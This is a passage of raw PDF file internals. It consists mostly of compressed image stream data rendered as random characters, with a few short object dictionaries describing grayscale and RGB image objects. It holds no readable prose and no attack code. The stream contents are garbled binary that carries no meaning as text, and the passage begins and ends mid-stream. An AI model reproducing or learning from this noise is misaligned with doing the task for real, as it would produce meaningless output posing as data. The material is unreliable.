"^6NWZύ>Ym'̴msna/Ed'@ v̉;k좖t,'}D_jtĖܥd5IAnuKdA kg?ד|AnO8w,խ]A.l[W䮯 gϞK߼ѥR}{ +lo۟tKpYb˳ڤ;bqlJ8ܞzflKek˯ Yffls-kztظżwNnKEzzlSGMJ%ݼF`ZRBbwyxN5!Bc\hܴu +R?n#HŦF~ ǧKʹQ/ U X +<+iH}.N֏1KN*~Wd.,Yw4a ή`ӧfOy⥯zS\WѮCöΥO3Ppf7a;h.s~Oͬmu Ctdo:ñYޱ׌u՗.Jj&$k>o\<5hlIM: -c==c;JZtΕ䟶=1bǜcN ؑ'bMqjOslM}U{{zOoJ &&w76|]yվ|J~ol6P+[[>=/ҙ{%;.Y0}0v65:捽Txi|zGkRcwK89*?)ێ$#Ԅr#5@llsn^b۲%IXuKz꺹y_I\Jnhl±ss',MK_)LKb v̉;yb|4֑n?@͉'|AhwЇk9\t:<x֨qfxcN 1'@ v!?-߼~c.k4ڸ!K;tI;sbĎ<1>h7K IVk2N  v̉;ybDhcm'!>td=1bǜcN ؑ'F,@'@ v̉;Ĉqb;sbĎ91bǜcN 1'@ v̉;sbĎ91bǜcN 1'@ v̉;sbĎ91bǜcN 1'@ v̉;sbĎ91bǜcN 1'@ v̉;sbĎ91bǜcN 1'@ v̉;sbĎ91bǜcN 1'@ v̉;sbĎ91bǜcN 1'@ v̉;sbĎ91bǜcN 1'@ v̉;_& +endstream +endobj +2241 0 obj +<< +/Filter /FlateDecode +/Type /XObject +/Subtype /Image +/DecodeParms << +/Predictor 15 +/Columns 945 +>> +/Width 945 +/Height 293 +/ColorSpace /DeviceGray +/BitsPerComponent 8 +/Interpolate true +/Length 872 +>> +stream +xA 0C/U, 8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J %BcıPX(q,8J % wI +endstream +endobj +2242 0 obj +<< +/Type /XObject +/Subtype /Image +/Width 3784 +/Height 71 +/ColorSpace /DeviceRGB +/BitsPerComponent 8 +/Interpolate true +/Filter /FlateDecode +/DecodeParms << +/Predictor 15 +/Columns 3784 +/Colors 3 +>> +/SMask 2243 0 R +/Length 54101 +>> +stream +xYw$ɕ ^ p df2NÜ_`^s[?30sjLwu$I2l7UD* +]W2ù"3["tREUJU5Qcd=cnM4 gWk8V_\\E' lۇ< +,>]2#Cyz1MOwK0 ݅ cz#>73)[Dَ&K'MDdq !&B n5fKzߏq"i9봪f?zrzd~N`v{};B<^D-Q n.DFٽ5!b{Z&3B$Id&7A xBd y2eQ`rf=8GΟ =9d]{ghsVΔ~=xVLX0Q,F=q;?s. 3GEnie6A]`p`8^\\4tzN`Ϝ3󝻗KSUZFi4p҉*c/"CcʝΦrlzgggzUoxǗ%K9f1*irj:jۈ8zݮIrW{7m 4uAz!Et\Dxu^w~0ݼ.n7 N`ofz'?/~붺 \ѾnJ-ɦ*vlGn=2{WWVו#N7Ū*Yڻw{}UL~݅}v jv7sXmkSwktoe +YU3ʑr{JZ)Ɍܐ)/eK(H|9p8 2!<:Xq*stVpBR -g**> %>=ۨsoV3T!2 W6d0_H$/h"X5wk}W BG9dBt0:`($nT H9sl8@2~i#Ts)|D,3|Mu4LCtM$΃ 8228t.\f QI xỉņ}A(I}z]r="7&uf2?)gд + PLz0,9~$q'1UB +'GsTLvBXLvAaԟ&C&['}<bHcOǗ$ +e3#D%0S `D@gEq8syT>TCCUJҐ *a8upDsA9p"8'@wWs8lXdxj&S-L~E!0~PmLv]ޛ}aY,AD+O2V-[tdH}ݡ>ix6]lw3e.W|k yr\ay|ys.֟ݲ'W \m)漯Q\us˒͡+3] ,y6+oxʺk`rD 07uZj4}=\0Aa.\Ҁ4@(Tmr"{), /z~@ߣA|V,i,7vrۢwh4e{*CuoYLr| +tuxi/$䬙0}?|~?o:קdYXҹz^x#M! 'y5~8%'nc}[=FfJ|rfL>M{Ww}a-VwUa9*sdUA[mt?}{ ZwW;LAwsU&l*qaaK[$uJnxWkJϹr.j5tn !6EN9 \ۤ%9Y.@tv|ճUh/նI$eӼ! owɬ2x "o[=sZs껯<"7#ldd[Wn^jq7ۘԅH9Cl >Z'q,+{]#z +*.D3mWB *JAD{wj [LUQSCM KN D>!)A_ PJܖX \p,*,<-V WoS/ֲ/Q==dD\Yx tvn"9߯uaBe -mG0g +M0Fq羷^d)+4:ͫˣA^ P"\dat*MMkD˵si%Lu<e]iN٥nVN^;˯^<Ϲ *mFժ;QÚz&H2ZKj{I=|iAVp4替VO4qMZWW~|?o6=pcߛ}̗r]nҍr@b̯O<)sƓ7?E 7gsy9gbu-=z`9r5'׺eٛ-u輪+mWL1tweoI"ō}I!`kJ-uCؘ28_"OH`ŹE7Wmugo\ҼH2HYl4Dr +:pe{;z=£>y<^}#<]g 0& !N'Mx ]""\vS' +*V*Vب, * +EDD81`N($򘧢Epv-2z Q}C"H$0 ǣ=2P/s-\O,$0 +6IT5Ƽ +<ޔA b8r/.ٻFjTaIJ 2m9 njṲy.6~ +ݻlRɆ/]-#c_~wÿWW]J֥{I.9oN}7rރnLGw;{>{ݍ̿m]v- e;=VtZ,ߪJ7yKn3bu﹅9B[nڳntlݔOxݵ>]L7BuXA=?)amܓvy#uZW)sK$"%g!{@:?(a!`0_:Xs!s'@Wme4dGDY(/(NA3]"H$D"1}ﳲk +@= 7>,kNnBgcȃI19~zU+٨>\p qp B(PB)!JU;::8#>D{י;#UD{l^4+YU..Ls!H~sB!PJ (˝vիWGB_~-=4q/ P!c"G1OJ$D"H^2dRӦ  Vj[/ޔJϟ~NDOδb 4":x#ҩۭeBAmgBøbG4 + +k({ё^/Q[W]麟b0SߵLE=Oq?JYC|Ul.4]MSy~2.|!VRBBu],ZZӓWZsv}}޽?'a(4o֮1}o"=a4UכJ%k,V#o__{!gQߩO}r{ ;7qځջj]׾}'-6Rv -p|l[:$ygqOtA |9maomuv$D"H$ɣD:?ChHF ~b`xsޟLT]z> $TGr?B(qg躽 |H4э~H$D"H?ЪAuiC '=?{?˟YC\>(1njϷþ>^>8nUjvՅyC +&ŘPS,iP/f ;kӿ}rf}\a t.HwwY-"߱ti!y~j޾5rn}l}|)1} +5@( +uZ);W^5Muᇟ~çnw(rZ[Dʦ\_CTzI]Y {|]ꪇsvw#E,uWW9Бa|&B + PDWUUKmتv7J1??}f!N=+sPz3dv "r'ǏV.7ZUʔZiu8:, s(J)TQUUtMLӶFt:iys~~/?|vSGD@ +=q!q~ZVj0[h4:?wGhyɽ_ifUQ۟ Ϭ}m{[]_m%4;r B|\=]^yF+H$D"HX N=}wI8PUSSB(Z7N9\?30p8w YJ,H$D"H"z~~ O*YN{uw]"(ĵ6wnsӿ1wܥ=jὉydvG|4 'SOaȸH UE5 drɬT*ͪvPfU)WtSqUvM>\]:0 yާss0|;ֺx~]D"H$D"ұy"s@ QjbRF!" 992qȮp.w 0 V"H$D"MO]uTyմ, E6ˏ~/.@ŧgHGnM "cc'㐸!ڮYfhUu`8wpgA0BjٖVJR-UdOoܧ;WQe5JX@MW` &ھƮ1h4kzdGtzsinez5F0'Sw:|aȅ={m;,D,C_ι838t~~>MSqvxWU۶ PUeichtvvͷ~_滫-Q/͏} UJqCd:{>| .%l߇ۻK-T +@G_"H$D"c3zzi*^Ri%Shi~ }o}=L+H$D"Ab6yC]7ESǹ- +"Ԓ'yQ@#V& O9/tf{O 6!rFRJQjQ f~x~v1xM]\NFϔpAEEN"z 6e(7sCczӻWGG^`~aȫ!REUUT] UQ׽^0n(|Onp 7> mnU$&[""Aogg:t:ׯ;K3|5 \]]ggGx<t­t}A[-ʶezPݢ%@(9lyT7OBt#֣̮#ZUDwW[쨼{ibu yi*G&?}]xa G{]x&D"H$D"ұ90#&%BJ-dPU.;"g ? LpB e'D"H$(R5x:<ͳFlsH9?;Ɓb8C?p s5* +ZMf(BI@D&€!wÇ }:puDDtI7&c/<ه8zߵBy {o."7ȁpzBBq&6L:/}ap& 35LՅ-73ߝ:h8)ltJ6"ޜ|׫kB7mtWNtWm]sm8Z6t|'{sHoV%~sd|f+(n^\nFw`)\ww;\\lkڙ.Nv/yh#[&H\VjvkJ՟m'D"H$D/" B.S!ѡ5S 2\!DEt)H$D"H$mg +M r$;qM&Ow%U +lTDVm4MUSR&Cd8d4$1()sg Mn7'9u y mz<:D p:~i:}].j^UkjT.%T뺣h0h|{0*,OSy߂_DQjUHI%D"H$E:CDEO9@􍫜@H_'H$D"H$ 7?rfOJnCfi$7OaIR"!B`X0CU V+Z4j]j&4B*1uq005@-Jw%$ܲ>Oǵ%qVxf$g|6:í78; K0c{!0d,NWW0rh4zV+Vu=u,:h h8Np"u'i$Z4纰4Ŕkkfu3l[4QNݸR8DO۽J;`Zpr鸳d}7W).ޛ[f+\[K7Vl]۾7-7 {o_<7qI7Eg4,}/Q՛[|X[7H;]zl؋s=bҝW7yb[ +Yg1w![fzPe̡\ 7g!jվ9sBŞ +9O=rgw>r_l~NzK,>Tb݇"Gv D"H$D"y*HbD"H$D"<0 9i}:fPB.7S"A"I`.l9*^pREr"@ dIR.4 Ը̊3KHH2 4_k/uq&yZy;E 9JY|R{AS6Ryt۪nX8iytsb ^`^(qGΑ`ܫnr2[n-0gPψ(P@{[&!ԕt ^v{}/H$D"H$D"H$D"yVʼn=GLKͫ"`=i}{ɺ׷Xu5JnKq&*ToUN]wοJ$D"H$D"H$D"H$"(ΏE"yrȸq)eD"Yu%D"H$D +X,H$D"H$g\i[ $$!߬o9Dy4V/aaI\d$x.5U Ny;[؛ꮲb^: lh2+➐.ͺ4Nr4-wcnܮ?G9g{H; J獢t}n&J{z&KXFY6??m{VV]U7i;KtWͼպw50+{7F-5% ^*hͮiVr:k.M8/{~_MVbW%,|n,+LH$D"H$;"%D"H$DMN4J"""(QJ4b,$\[0P Ư4ݠ9K $Յdo.mMJ(P,g0oFTHym7I Q +*H\I_][ޢ'BOX獺7k&.){no::0jXF-Ҭ BQ(l[ҽK [ڛD_n6%’~m]e/!I4* BhRsv-7 to{IgۍDFYV7} {oUϷҍs88‡G+uok72~ٔ7ܽl.&{mUѿ'2wHwVQn%&\n7tgQ&X{~@E׾w\$fzInz^-7'ڬ}r[tB㼑5h]џg5cI;wy#lݰ7bdҖH$D"H$.D"H$D"H$"1xI$ I$D򐞍D"H$D"<'dbD"H$D"<0B95Fqfqܻ4aU'@ӛ/n]<4%đ'eIэnnSbuG҅YigobjqD0`mr l8QFwȊ-7RPp>rv䮽%ެﭩ缺{Dұѱ7Eqӊ\f\վK,G+f9]\;Snܺjߜ ( @`CWEwA7!suz03k,6bh7]8okYu0Zx=_eVfyz#GktkZ2oH uק\c-r۶|CёfWIn%RB1B,-)ռPBswi_MlQDͻճ*{̼1kߛWtX[Ϳ#F݅Vw(ls\~ +eF"H$D"Ht,H$D"H$3aqZtGwo.rsn7s,9}oi]D7r@E+X\.%bA&{ 2%Yfr[(ܛKoktWO>nH1s5[Ms[#ޛo.yKuPFQԯn"'ܯS#_5%,Lѓ7m?֍7-V{!ugc&ŔK&(\wWn& ^*j~s=ZF[X<γ-wcn9tվyVb5ŭnKXl D"H$D"X,H$D"H$GoF?(<RTD Ŧ"K(ɍ%H$DRH$D"H$D"Hvt,H$D"H$ې&oR4冈t$%((ŨJ 2XB\$Q؝?9[;e[{7tW[+[KJf$-.?n5={ .__wEV(^93|5"t}뾴}֣G>]3f{߼'D"yY@"H$3v,ήK"HrH$cCMςbڤiKq֝iR.J%4 ME%@Ƙ:Sg:ȐC69o(ayއ6=ۯ +va,ޅٷN,woV7n4}gzFD.xy>zΑ0-ף'oo(oq{-vޙ=GܶsW +(nusvŖ_t%EfuW]\I#H3g0I$!Y#(H$O9K$!צ'!RM ðLdmm[:+P1z8Sq\u]7Ðs.n)y&{*TUm[T4Ͳs`)VvY4Mm۲-4[IZjrrrRUѸlضhԇx2u]q\qCK$χh|pZvd=<83D"F8wz.Tw +WRQFOG9oS\*j7w=o-v}NDY= DazH$ɣ;K$D"H$Ƀ"w5$9$Eʗ4JTUfQ*?ud2q2G@@U5r,6RT*e;kKRMSF8;'z+&vf{r~w6e-zK_n>DA|5Mm`/޼VD"IbajѨTLPzyu:AȄb[n +WRQnI 7kG#g-vURg{XsQN-tDZny?E)B ר܉v)sdUGsmuw8;U,H6#gD"ұX"H$D"HF"_}.RiZV=~un岪*a~?S QREQTUu6J\oԫ][VRi4>]_9ܙ}2Xurr_oF!Ķrj}ÇW]ԻX]jrIVE#̼ӟ:B cu(D1^~vVϢg d[G+fVnzυӽYwWyؕD"H::ەJY~0'A8 +$۹ >A/ d2t\9G]uokZ34ԸKR;fMXүmPYUo}g[򸪋yR$-H"H$/gXL)UUU7tUYiQ, gqo^kBj隦TDca d1Ƣ(P* >uyU9w2ﰝnױQ囖YVLӠ%iȳ1A! v"irٲ-CUm +!<FaTUL\.뺎 w뺾0WeB1LZؖq'IV!6Zlωx1IqPwH$N jWͽ{Z%=.@X.Zt݆݊aTjUjCoǔ`4q'DxAɶƪ.FD Zznu:JYp>Lh4u=q.7MŠ?0ƃ0=/Pe^OW=ƧBd଴7|G{%gm9B^{ MaJ鯾jdz$Q\oPEMSիd߽{soQ^u?rQ#m~ݹ,XQu3c펮 wjż񛫞cM<jlLu!j(hZ+GI]n\Iܘ--mjqh8^(H$ycqU\m! 1]ǝL&-8BU1 Rrl٦B1t:q o1$ $Zv %).GB<UUM<<oXe8NwQ7Slgc1ƵVBɟ4sF5yfJhJE@3.XRT%:\a9pFacU[wd⍲O >hdV +\KaÆG"y6,{wJLvv8dMQ@Dy֐ ~I=:_ۓ0GRE*/<0 әm:Mt]WUR*Y!S"H$XLt]Ukf33dv`8\/=3 \)7N^J%45Mc1|qx.á,d1;t+;+TUMӢUUUE1F1!8b!XQ(i!D-(a說fGm\ `m9 ^NOO⵮i׎ILߟLƽ~]5^7\ 0ݺnONO_TJ@ mƘ繚|x~2) + s۳n˕ɫ0&)FTyo$IzѿۍUU 0 4 UH"@!< Xn\r;Y%j4 3zB4)ќE\A8@i*l2~ +AQ۶M416}Ma?_E4 x>rH$> _t4<^^#6 ŏ@|FׄQѥd'Z]/VoMUU4jZӮkBt|vlA !8F V3hA&c\L4E& r/lH^HVw^77o8}}RV C!$" Q6$9\i0ǯ<ϟڑ}׎(7I^S.GsbVx_} p}fE>_W[3>sJ codX_qo0aԹ +႐X +-nhlt̾Qn} ]6pMKoȭ{musGBtmYVV-K,0&Z0~o-g,u]0`Om[z48Mė!BgXMʕrմ, <u]!mrVr]WeۍF2cߋb=2뺞~N)tT* 48}q@EQ-*JRQny3#"TUU4l6MS5UQ)|ө>_K"yD^m7 ˲n +C dA:B^*l2-0 ]E("?}syҲBLӬk%4usy9y,mT-T5MQ4rr2""!@)uݶm۶,ˎ 4CzM=4D"yc1uh}舐6]ld|<ُ?&!r|zrzzzrzQQB1y:H\axyu߿0}?դlZ%;Y (bwjuƓd<O&s!ELT*U*RdY! 9熡7u4g+"8 Gc19Oybi麦+TƜ=,,TL޿vӧ !gUE5t0t)!P +koakP\pbVQ7 նtxvx=:W=B5M-N}x*"(D?("N !D/IO 2;~`\.%?k (DzO>}B>%gh)JviwrĎ, h|yyѽ}qYrWJeuݳ @D tڭVZ8/@h4_~e4*{@s4G>B0ήkD"2Gs|yϽ_z7r#4%օ_ĪoE(uv][wnY[^SW~N2.n<<8>>6 MQ)$ѓ( ~!0TUdzӺ&H$(0{1ZNU ]NѨ6 sݍlUυWEbņ{5{rn5G|ͳqTI>ry7kRtxxoi蘸Ei@B0<ϛnR)Wϟ{8A""ЍZvzrś׆a(\7x:(~ع2&OA-tNOO4M׻83]]Ze흾>˷ry<M]רBu]__B(H&zYZLu[.L`L0YJ ]o4o|ՑLw52%z^/PG8׾(\.}AZlKzӱ#ڶuqq~uu,l~ۂDrʕ7_PPDaCD3d2'á2ɯ~WF4L!CQ"v3F@ĮlmƲfj8EZJ)Tb2F]R9=99==y}^ASr.0<0 Befѯ~Igv,0*a47 0 @/K$98 !<ϻ_r HֱE5 jս0`·1cZ߼ysp"/=/`\J۷J/E>61eV+Vutx9jՒmFipsd:'ιUՃNl5ժeYA\]^G#z-?}x"PF|:A;QUE7F~ttjRZ=9=uX%3]]^nn0 FQ|P6N{~=( ]rZ5MSU4:r.P4V*ٶ1?Fx@HYH2E B8h8zBZZV9SsV0űDzo}[,XPWmضYAKɹ{yyulu+먋*iZRk6JE7tXxm۷ㇳhi e(\Ld&̣[lco)iBS>͓r=*_Eؘ~Q'AwsnRXU_ʟYN>O`t.I⢬U=;o#,)9onS>vM8G0HA(hiXJu|ǏF'Sy::N\~8\$gj3_ 0 CBJtz9!f#PJm??<>9/޼yߩ- X20raABTE_꫷oߜ4MU0B(jim&c|0pH$}L BÈ!!"iLJ%˲jV*eYHմvuxLȱX׵J^\1L^[uv,&hjf^;<<<9~鴫Zdj^!ܚ؄(uMr<88}KnxWU\.jFA+' TMBG󥱸r]wqqϿ}k(NM |u|XTzϺGt:N<]߽{g|Eb <9!qnM-*ٶeY3|TVJeZN;!t:>+!@)UE%@AQ!B>@W'Q!D!F/Eg}-u~p~~:W'τRm-?Cgφ!cL:UQ l_ږŅ 0 P RJ4Mm\ԫv(@I1a]+rZlj#Ja%TV5 +ݞk*K\)BݻN\q!0vg%I$D0(b۶mۊ $HY)E2 lWfB#|e$|7E`m&h +(k2yMMURɮU+j~GcuO#FF!d dBD1sW[B @g z}0굪eYf3BƺAȀoiף v}uN/!G uWlU(tR.5ZҤ16////.Fa*@ 0L\UTMVQ JFVU/\x55E'݊p@5w^bu_B/a*Y_ϐz=ߍmWo[ޏn /ε {1qWȑzgu ܑsfv[{F}5͋WciIHx@IQUL,%Ӵi(QLs|?ܢCq /}5d>MS6wk.#G=dU˲z^3MCQ(G݌PJTU,N^~0SJxs~~1ΚVP5zdll4> FȲ`( ] +c;(zRdZWǯ,`,:S[xAuu/7K=[sGwߧqlV%RjF\-J]S!ggFirQo( + OGA0jt*rzx:8],# ϔBl +hnVTժf4LuoB (RON߾ex2GcoF@빊Xh4NONN&ʠu="JST[fTj[\nnAK$OB&]3bչ%7ur͓Cbt=],jV-k"[hpdMu}9熡k5۲Ut::˕e[*A.=NKfRLS~9rܠh{wV3Ŗprof}CCzV}ϳX{-,)#-4Tϣ_jؙytu3;{ݻpbF<>>~uttxth+΂ѨxD@׽ol89۸>q!%cl:u..V޶,\.U*%U +CP]^jN)ӧϟ>~N])(㿾ͽYUU4xPS56;vz=i>tS<~FCp2:h4tV5[r?9S/…z>?\Ǎ~)~:w(fb鋮X,H$~T4E+۪hFUi@4Zw񻺩Z: Mp0qA7RAm-F#mU@!%\^T*咢PqGp40A54U)rlAB$B !D4˲*rZCDØ=##@7~V@y^PpAmk&!?nH\ڂJ`߶-Ej繓d2,,^W*UU9 #ƓDѸ\.lSMjJV5uf^v?wn?(7 qryӮkNj\__yDž̳Bz?KMU6H^%۶mR)JaVUd*m[" +u~0 0{Ύgp(i!޾iizZTʪ 7'ggGc'i0M˲KnT?0A|DBN&d4nRJK~Tmd[TU3t2MCq|>L )WVkj0t^50E|],?D\sWbm{7T54M5MUBhiV*FV(Ç숂wrRTzR5 3`pO?B(tZ,۲K%C7Z.ٶ }D"yxcF(%V5Z*c<9皦U*Jjx4pp<#Xɶ*Jt(Դz~doZjڬ %8j:ufl6rYӴ{ %p Y\׽v1~/-"=ϛL&^VU0t]7MS4EQ8Q1 @H٪3Dd!sw:SU.zAߟL &DQ]Ke[ +U<ϻ:kVmۊy纱JTWȅ1da1D4M[ D1!@(&"1Bt'{Dw|9qc#Jh@bxޢd2N1M˴m[׵t<ι븎,7 +Xe۶idH;Rz}+u$%:\/DכL&,ЍZVt\#>RUQTUl!s:f,L&qض]kdxn>[zhZeq'aJ @!y]U„.+t[uN +YMLȥ|ݶ}Ǔy/1|[BHhͶ B(B<o~a~hGqH";0SJt]u]QUJO +iv Ͼ(TUU(%Ev)bYeY9P( +5 ]Z\<s!"TEl˶,MS1|u@L'aD p<Ǔ  ] 4UnK$qC@Rjzu_5'GT8 !2a.fHIne!R]+rh[zUm/;d4G#Ƙt eY%dY ;v^? y#T)W*e醦*| Onu}!pI  ++ !JPE.ƴl6mda|Ə +COQ"tñm lF4u,&сh^Z +h4,:ْ!lh2 vU+ +$a +r%PE +ak7R|믿>>>6MB*Ţ(me* +BAL\z8xBN)-˕jY<3wpcA&D"H "P>Ngh$7LK#=W[[ZB*Y?Zg`VyR6:Ȋ4zTysK=hun={y_DIh_P QOOn@`7*7h22ƅ! ӽ[V]].L4(iۭvmY&A0ud8#+`! q!,Zw0lH(N#: + _?qD-˪V+Vpa^h8bs~ZPn$}gѵǜB]-a/D"yJ 'ѐ I @maԢw6+i(>7t?6j m^)TQguǮZ#b`T@+[^HhɆ8A6Hr2ana8}JPUUu] XYV*2!IJZZgܶ-2 !K^CEzRmSDnřZj‹r,N=#ԥJv*Kl*m۶4McL0Ƃ XD ><>s,jU9'r2km+ +t٪RwU[!|3ezHusB~ڛ;7EoeX{}Fm I POBw#V}tsiˣ} " +\p&C + \B0&i۝Lm8ώ:A?lK7 ^u4B*eZuKāXupp燌a0 +vVjGxB~jA,}VOdBƦi;?(vnQVk6[flzhYʳiiZJR!O7?}NZӴV͛J5V p0}?}|}@5g:q=T.ۭW:vZԠ?p8L&EKo4Bj*Utd'7/C\޽S2/pl*%MU ð, zT*u<OS_q*#2B(R( +s{9 +=^@p!މ( EQl/OڕJYQ~|s (>chQB,XD"H$ϒh_^t!޻ @jWQOlFgߜ>G>_PR=j~ut\VG_U,$y ') G@[ )ΐEQ(=s&$9.Jj!l.~eU*rL)5 öm0TU]g}s=GOWFv7^wf-]J 9hL*lDUՒ]*J8v5M1 u:#d08! +Bp<8ʪn%^|6y<>?.;9YB.l"dKzHvyv1:rk=]}w XxLV{HxV^>^-fo̮Q*xGVWaz9gȘgggo}>&"rΜsyul֚jV*j(H2Rduϟ?;Dg$@F_|jZ.ͦ3yke<_y`8x+u..;!%_MEQ*iڝN۷'^yyy`8^,,SվZ0 vLBzl_O?M&!0Cө뺦UkկjwCǙ={`f^o6in{c㓓WGZ5 hjCh4x$PD4$HjF6L+D!q.~ݻwg?~>޼G nɊ#6ݱD"H$ͳr,UV[WGo߾۳m1~u}ǏWדã;sc?0l۶lK4EQ@+}<)}y|ȭiCUhzA?8?pvd!L Yh4uc4qgt b빮?P](8$~ @$0= ! 0zLQ۲jZZ .Dl4 UU}?nq\8c|"rD?t@ + (AH "D@!D!`rB\J.B@uM.TU5 ZW_}UgczWWW>}>}IGWOd׾[f/f{,D"H$ϚWsW$jeMjBS4PD}uy1qNnjg@iЅ)cg4 dRTRPF9<5|B{F#M8]B46cV+pJ$WC nm8D"#'"ΓV+@LIr[qHmٶeB`s񒬼u!!;cvu\G{^ȶ pGJ " [/CA(%Y^oU1ETO1ѓ|ϲ(!seEfITU%ĄpAWP+G+p2%0P/Uo [[r!:她6]E+w +4";@ˁu-{S޹/]#Q{[;?B}C:S cη̣+uqaoVQxnͫ'XuN{zrqXQ>|ޜ~凟U uʭ§wlozv^%|m{X߇'|H޿M:swsu쭪)^hE}Ewyl3@xf~庎e)-We8ϊR{>ކ2\*gl6(<'(w[J0q\O)p1QQϲq 42Ic*Iv}}u[RU'vE睟OҌRj!$ضe;e[kBJk!e^d?A}ޯQF5>Ha{ lzgFF/\rTP^Rr;V xz/Og?xL H#GXYxFal?֑ "(M`Ml39N6tWr3B,I)[+7„xA:{2_֚ˁeI)͵_b}=w oqkvϑkFȅN/Xl{ݼnYZe9!h!dUQJcs!D/˳^mn6fXŧIf<鰜6gsWVT˅^k֝+.w +] " +)!wt%SC 6enQZ\{o} Avwn{rP%` _{GНvX(X7>/wjGvݮ/ɽ۝v^e] T߻s,/W%zn)7{=}Ȫܘxmy +p7~irH YrҿwGwȽuV1nNB^>E.ܞ6RH*!rɗyQUUqR<]r;Ufy^\(f3|!eUUEQUVm&в,/ʕXf|0L}(Ҕr!r|ބ,󢠌 +eȚVt2Te9LvzNm5[cۖiA<|3F7i"RPj9BbbU}u]R16[,+@5l4B,b/u>` VKXipgu BXqlж0 0$kRJp4b-IJl݊† .`XVtg]lCmkW n>s֨QF/Xl;vw;^z/}|GwIU+aM֗- 9?p}ء1x*ʲ(KƸjYXȶ,&\]*yQYV%cLk6.!BhDoX;`Epe8kl$@K%+Z-GGlJ)y$ij faR*"M,t6?˒{kCʪLfQ5 !Zh-"V@k h@$C(@H!(]{t';/_|yxx,fчJaR{>z7hjԨQFԐ(˒ΕdeQ`J^;66T^ڎwN DP^ xńOFawv"w\S P:}?J*=jB .\/RR*)T +jR +.]='xsVV;Sځ[/v}xceYUQRJ)+??q`Ŝ$ٺAxP[kGrK.Y[2So5~sV5|8QWZk)%d& Ty#XH( Y )vtEiy + aEnYVj۾ALӬ,KƘa^說fYE)l(" *l<hXČZk!D8M3!00,; 0m,V4Ixjt6uvk5 VB0 [YVQzKR\ZH!/yxPT!cllBYe۶e[U􃕵ByA؄@)L'Fl6\_( 4ֻB501չIJI)޿?99B\oprݻa/$N|v]L!ϋ FyeYRJFii +!%>$!\O1#VZ#1`eCk?Su$4[͛ׯ^5߽{wzz6LEB[|L$sVX3V5jԨQonuf_~?\.@OU:˲>`oF.,i?eA_*÷CIih6VZkJpGnQtyZV6K,}J.ʋЀseYǣ0Iιy{~"۱7$8.݀XYQP礼=TC?V}]뿹w'@j|򰪪eY18UUeY$bH4ˋ 5)71fE +/~z!]Df\z+Ք۬$wǒZOE o[]+,S{m宽=܋zqn)E>i}T;ߑr|UFm#hZq\KT~뭷9ݾ'hD/con<;V Jv~ܧX7oI+xK}2x}Vv9O3~x~v܏2T w|܍{ǩu)>wݻZGlg='/V[uweUZOi9=>>qUQ};$R4Mj;,,˲,Aynj5bav)8eQ +!nhR;͢fk-Uox˲2&{شx4FE'nR6QJ {yebqrryn([?sunYQjbqY?>:"#|V7_zyxxj~'.l:!8??Oo}\DZ1ZAw{/^;6_o_WUuvv6~}+!xyKnիWڝ~P-w1#Ezg[FyC1A ZIA\67eըQFg@,6@Qx?C?bU^:x̝@K8\BB1Q!, RJ1(t0{6Avye%R +@`;vEv.JǗUɽ򶄏'Wmx'78roO >_}gr^u7R;sVṢ/ޜk'_';I9?;cRrW=S^s>w;;.>`w l/ܻ>4OWvm[cL, pIRHqed+ʪO'ɴ(=_V:Gsܘz8nj[vvj6fdV7)ra-,lDV:m)t6M3Rz^-Rʼ(>VeɅ[/j#<34ض0ڭVUUF8nuveX+ec ^| nkY$ ýFu v:@^rr SadY"V5߱,bK%BdYe¸ɾI~pf1RkRJCb^siƣdz9c"B !R*c1«| !E,4R*iL\jԨQ;!۶l6_:C>f<j7bb[eY va8 EYeyDž)*cMB3n K3JB/(-!cW R1ZU2!6ȶmLJc"ʋ"2Z1!RJHRgu0 ;vYVJ2)K!! huWrL\Ê GVp/ }˲< _}xx繮*<ˊ~~Mk*J)} <A"eaREQy)\a -XXyQk5jԨQ7  + +D@H_ +/߻;$yrvtB9$JfYAb#|;F=/ =+GҮ7B .TXead"h\dKZ^jVR +eUEEB ᜛^-Y7tB,0@KRu]M׆{pO+:жǒPZ_Y=܋42?X$.ok)\EQZfq!tq?sX?)_ +vʧ_D[P8~k㹞G߷·RokԨq %cDsiաⲍ@ ~T/EZk)EQɤvͨn7m[fVx8 5A +hT^y^!hz붣(?B4)Jɕߥ{ՆY'FfL2gØt=,1<_ccRZFe^B* F#DjxAkbZ.)DTڮ˥4 Bh!؈UYN-.+VVLH" `ƥ1?BľPZ 4J)%VZUYJ)Mu˶ Ja]q Jp)-5jԨQk@,{׈vl6ONN+E8Bc<8q˶[fݞgEyJhZflBgiicT*(LJ#nݮĵ,˸v͛W/(Y-CyYVBHmۦaFQE aUER<˓$M=TQ&l6OF+oٶ1`y t{  eY-|*z be&Rmٖe,^WFuNkWe,+Ý^l8ue1Jl:+Bp4Ad@ D *RJ) B^ cnlFdÇ>N'U\$i$in4F3.߼|"۶QlFc l6*!R*hMvǶEu1ߍoeԨQFO + J +)j|>\P>upyt8Ia D4j9q,[(v +p4 >gG9t\<gQ9Z8F^墵J\`)eĢ11B;xx2Pk0kysnG7M_JSH߲pI*'].B1!  _x7Du>|0 !!pRAN(2z[J m;ޔۯ-Zqr|7r,ۗ Ǿ>Xgye2fLuBqGafMsbٶE,kԗVRJg;8eqƗ.!V BBdH3y^3fha`9BVl6JWUULPF}b1"AahY|6MӪ`эH&l;s,͆oFmNx6sΞXbE$IeU +!θmFxb8hzf3 +$6xE!tl[n|6OQƹX,d,(8OD,FYznYB@yN7/_︮βBvlFB(ϳyQK߷f7Mlggu~?/ʢ2I,~yt8(RB!EY4a# $W䚵{#l8)s.74WjԨQF! ݰBr64(YY /CܧN&t-NOO/N@ 7auoR8WK'8RIXE+ƘXz 8Rip}9d0 Xھ2BcJc3b1nl !ĄѓReY95!]I>n}Q 